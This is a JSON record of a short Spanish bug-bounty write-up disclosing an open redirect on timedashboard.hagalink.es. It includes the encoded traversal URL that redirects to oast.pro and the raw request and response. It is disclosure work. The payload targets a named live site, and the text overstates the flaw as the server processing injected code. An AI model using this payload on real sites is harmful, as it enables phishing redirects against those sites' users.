{"url":"https://writeups.es/writeups/vdp-program-en-grayback/vdp-hagalink/WaterRessistan","machine":{"name":"VDP Hagalink","slug":"vdp-hagalink","platform":"VDP Program en Grayback","platform_slug":"vdp-program-en-grayback","difficulty":"medio","difficulty_label":"Medio","operating_system":["Web"],"tags":["web","openredirect","vdp","bugbounty","burpsuite"],"original_url":"https://hagalink.es","all_writeups":"https://writeups.es/maquinas/vdp-program-en-grayback/vdp-hagalink"},"author":{"nickname":"WaterRessistan","url":"https://writeups.es/u/WaterRessistan","bio":null},"summary":null,"outline":[{"level":3,"title":"PASOS PARA REPRODUCIR","anchor":"https://writeups.es/writeups/vdp-program-en-grayback/vdp-hagalink/WaterRessistan#pasos-para-reproducir"},{"level":3,"title":"PRUEBA DE CONCEPTO","anchor":"https://writeups.es/writeups/vdp-program-en-grayback/vdp-hagalink/WaterRessistan#prueba-de-concepto"}],"cves":[],"code_languages":[],"stats":{"words":72,"reading_minutes":1,"votes":1},"content_markdown":"### PASOS PARA REPRODUCIR\nNavegar a timedashboard.hagalink.es\nManipular URL de la siguiente manera: https://timedashboard.hagalink.es/public/..%2F%5coast.pro%2F%3f%2F..%2F..\nSi miramos en la petición nos devuelve 302 Found Location: /\\oast.pro/?/../../ y Found. Logramos hacer que el servidor procese nuestro código inyectado en la URL\n\n### PRUEBA DE CONCEPTO\nHe usado burpsuite. Petición inicial:\nGET /public/..%2F%5coast.pro%2F%3f%2F..%2F.. HTTP/2 Host: timedashboard.hagalink.es\nRespuesta por parte del servidor:\n302 OK Location: /\\oast.pro/?/../../ Found\nMuy sencillo de realizar y comprobamos la vulnerabilidad de esta manera.\n","published_at":"2026-05-28T15:54:17.907853+00:00","updated_at":"2026-08-14T18:15:44.659871+00:00","license":"CC BY-SA 4.0","attribution":"Writeup de WaterRessistan publicado en writeups.es — https://writeups.es/writeups/vdp-program-en-grayback/vdp-hagalink/WaterRessistan"}